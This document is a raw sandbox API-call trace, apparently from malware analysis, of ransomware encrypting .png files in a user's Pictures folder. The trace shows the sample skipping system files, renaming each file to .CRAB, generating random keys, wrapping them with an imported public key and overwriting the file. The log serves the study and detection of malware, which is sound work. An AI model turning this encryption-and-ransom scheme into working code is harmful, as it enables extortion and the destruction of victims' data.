	[0132.911] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x779a, lpOverlapped=0x0) returned 1
	[0132.924] VirtualAlloc (lpAddress=0x0, dwSize=0x77a0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.924] VirtualAlloc (lpAddress=0x0, dwSize=0x77a0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.925] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.926] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff8866, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.926] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x77a0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x77a0, lpOverlapped=0x0) returned 1
	[0132.926] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.928] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.932] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.932] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.932] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.932] CloseHandle (hObject=0x3ec) returned 1
	[0132.933] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.933] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.933] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.933] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.934] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.934] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.934] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.934] lstrcmpW (lpString1="UnuhOeLGK.png", lpString2=".") returned 1
	[0132.934] lstrcmpW (lpString1="UnuhOeLGK.png", lpString2="..") returned 1
	[0132.934] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="UnuhOeLGK.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png"
	[0132.934] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.934] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png") returned 51
	[0132.935] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png") returned 51
	[0132.935] lstrlenW (lpString=".png") returned 4
	[0132.935] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.935] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.935] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.935] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png") returned 51
	[0132.935] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png") returned 51
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="desktop.ini") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="autorun.inf") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="ntuser.dat") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="iconcache.db") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="bootsect.bak") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="boot.ini") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="ntuser.dat.log") returned 1
	[0132.935] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="thumbs.db") returned 1
	[0132.936] lstrcmpiW (lpString1="UnuhOeLGK.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.936] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.936] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB") returned 56
	[0132.936] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\unuhoelgk.png")) returned 0x20
	[0132.936] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png", dwFileAttributes=0x20) returned 1
	[0132.936] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\unuhoelgk.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\unuhoelgk.png.crab")) returned 1
	[0132.937] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.938] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB"
	[0132.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB.CRAB"
	[0132.938] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0132.939] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.939] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.939] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.940] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.940] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.940] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.941] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.941] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.942] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.942] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.942] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.942] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.942] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.942] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.944] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e9d0) returned 1
	[0132.944] CryptGetKeyParam (in: hKey=0x320e9d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.944] CryptEncrypt (in: hKey=0x320e9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.944] GetLastError () returned 0x0
	[0132.944] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.944] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.945] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ec50) returned 1
	[0132.945] CryptGetKeyParam (in: hKey=0x320ec50, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.945] CryptEncrypt (in: hKey=0x320ec50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.946] GetLastError () returned 0x0
	[0132.946] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.946] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\UnuhOeLGK.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\unuhoelgk.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.946] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.947] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.947] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x149e8, lpOverlapped=0x0) returned 1
	[0132.959] VirtualAlloc (lpAddress=0x0, dwSize=0x149f0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.960] VirtualAlloc (lpAddress=0x0, dwSize=0x149f0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0132.963] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.963] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffeb618, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.964] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x149f0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x149f0, lpOverlapped=0x0) returned 1
	[0132.964] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.964] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.968] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.968] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.968] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.968] CloseHandle (hObject=0x3ec) returned 1
	[0132.968] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.969] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.969] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.969] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.969] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.970] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.970] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.970] lstrcmpW (lpString1="x5zHu3GZBcWy.png", lpString2=".") returned 1
	[0132.970] lstrcmpW (lpString1="x5zHu3GZBcWy.png", lpString2="..") returned 1
	[0132.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="x5zHu3GZBcWy.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png"
	[0132.970] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.970] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png") returned 54
	[0132.970] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png") returned 54
	[0132.970] lstrlenW (lpString=".png") returned 4
	[0132.970] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.971] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.971] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.971] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png") returned 54
	[0132.971] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png") returned 54
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="desktop.ini") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="autorun.inf") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="ntuser.dat") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="iconcache.db") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="bootsect.bak") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="boot.ini") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="ntuser.dat.log") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="thumbs.db") returned 1
	[0132.971] lstrcmpiW (lpString1="x5zHu3GZBcWy.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.971] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.972] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB") returned 59
	[0132.972] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\x5zhu3gzbcwy.png")) returned 0x20
	[0132.972] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png", dwFileAttributes=0x20) returned 1
	[0132.972] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\x5zhu3gzbcwy.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\x5zhu3gzbcwy.png.crab")) returned 1
	[0132.973] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.973] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB"
	[0132.973] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB.CRAB"
	[0132.974] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0132.975] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.975] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.975] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.975] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.975] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.976] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.977] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.977] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.977] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.977] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.977] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.978] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.978] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.978] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.980] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ea50) returned 1
	[0132.980] CryptGetKeyParam (in: hKey=0x320ea50, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.980] CryptEncrypt (in: hKey=0x320ea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.980] GetLastError () returned 0x0
	[0132.980] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.980] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0132.981] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ea10) returned 1
	[0132.981] CryptGetKeyParam (in: hKey=0x320ea10, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.981] CryptEncrypt (in: hKey=0x320ea10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.982] GetLastError () returned 0x0
	[0132.982] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0132.982] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\x5zHu3GZBcWy.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\x5zhu3gzbcwy.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.982] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.983] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x3bd3, lpOverlapped=0x0) returned 1
	[0132.995] VirtualAlloc (lpAddress=0x0, dwSize=0x3be0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.995] VirtualAlloc (lpAddress=0x0, dwSize=0x3be0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.996] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.996] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc42d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.996] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3be0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x3be0, lpOverlapped=0x0) returned 1
	[0132.996] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.997] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.000] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.000] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.000] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.000] CloseHandle (hObject=0x3ec) returned 1
	[0133.001] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.001] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.001] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.001] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.002] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.002] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.002] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.002] lstrcmpW (lpString1="Xdpn0JNfLBf.png", lpString2=".") returned 1
	[0133.002] lstrcmpW (lpString1="Xdpn0JNfLBf.png", lpString2="..") returned 1
	[0133.002] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="Xdpn0JNfLBf.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png"
	[0133.002] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.002] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png") returned 53
	[0133.002] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\Xdpn0JNfLBf.png") returned 53
	[0133.003] lstrlenW (lpString=".png") returned 4
